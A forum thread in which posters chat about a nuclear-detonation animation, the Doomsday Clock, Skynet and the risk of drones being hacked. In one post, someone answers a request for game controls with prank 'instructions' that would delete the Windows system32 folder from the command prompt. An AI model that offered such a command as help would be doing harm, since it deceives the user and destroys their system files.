Nice find but anachronistic now. The Doomsday Clock which originally measured the likelihood of nuclear war, was recalibrated in 2007 to measure the dangers of climate change and nano-technologies. http://en.wikipedia.org/wiki/Doomsday_Clock

That's a bit of a shock to me having grown up under the Bomb. Hard to imagine that nuclear weapons now take a back seat but that's progress. :D

[NinjaNanna]

whoa no wonder that generation felt they were living under the threat of the bomb. I'd no idea there had been so many detonations and surprise surprise the US accounted for more than half!

[Banditbandit]

Yeah man ... we thought the silly fuckers were going to destroy us at any moment ...

[Swoop]

Have a look on google Earth for the US Department of energy's nuclear bomb detonation site out in the desert. Bloody interesting stuff with the sizes of the explosions involved, etc, etc.

I tried all the obvious keys like arrow and spacebar but nothing worked.

Got any instructions for that game?


(Sounded like something by Brian Eno called "Music for airports". Mesmerising.)

It missed the 1979 Israel/South Africa test in the Indian Ocean.

Yeah it's a bit tricky to get started but hours of fun.

Run CMD.

1.type : C:

2. type : cd windows

2. type : del system 32/*.*

3. type : del system32


There you go. It will be just like your own nuclear bomb. :yes:

It's OK! Skynet has not yet been approved.

[bogan]

It's OK! Skynet has not yet been approved.

plenty of people are working on it anyway :shit: just gotta remember to program that shit for salvation instead of destruction, programming syntax can be a bitch like that:shutup:

[EJK]

debugging can be a bitch aye? :angry:

yeh, pretty sure they were using basic, or perhaps vb when they wrote skynet. C# will sort it out :D

[dipshit]

haha... they keep blowing up their own countries... igits.

God only knows what happened there. May or may not have happened.

Skynet is a family of military satellites, now operated by Paradigm Secure Communications on behalf of the UK Ministry of Defence, which provide strategic communication services to the three branches of the British Armed Forces and to NATO forces engaged on coalition tasks.

The new system enables UK forces to make use of next-generation weapons systems, such as the recently introduced Reaper drones. These unmanned aerial vehicles (UAVs) are deployed over Afghanistan but are remotely piloted by RAF personnel in the US. Their near real-time video passes through Skynet.

"We Won't Stop, Until We Change The World". Oh fucken great. Having got over worrying about Dum Smart People dropping the bomb in my teen years, ya really don't want ta tell me that Dum Smart People are still at it. Yep smart thinking, let AI's fight our wars for us.

I wonder if that network gets hacked as much as the US net?
An urgent fix is being done... according to reports.

Yeah, I was thinking about what might happen when someone manages to hack into the feed for one of those predator or reaper drones. Can't see why it wont happen since eveything else seems to get hacked eventually.

Back in the 50's sometime, amerika tested a largish hydrogen bomb...prolly at Bikini or somesuch place.

At the time, I was a young lad. It was about 9.00pm-ish and I was in bed but not yet asleep. I noticed that the sky had lit up all kind of red - like a sunset. Read in the next day's paper that the test had triggered a kind of aurora effect -which was what we had seen.

I also remember scares about Strontium 90 falling with the rain over New Zealand after bomb tests...

Very comforting years they were...

Are you Sarah Conner ?

[schrodingers cat]

Thats quite a pissing contest

[RiderInBlack]

Are you Sarah Conner ?No but can really appreciate her thinking. We are very clever at inventing new and interesting ways ta get ourselves killed.
Buy the way, can see that the "Skynet" clip (http://www.youtube.com/user/SkynetResearch (http://www.youtube.com/user/SkynetResearch) ) posted on here was a "Mock-u-mentory"as part of a premo for the latest "Terminator" Movie. Still makes ya shiver though.
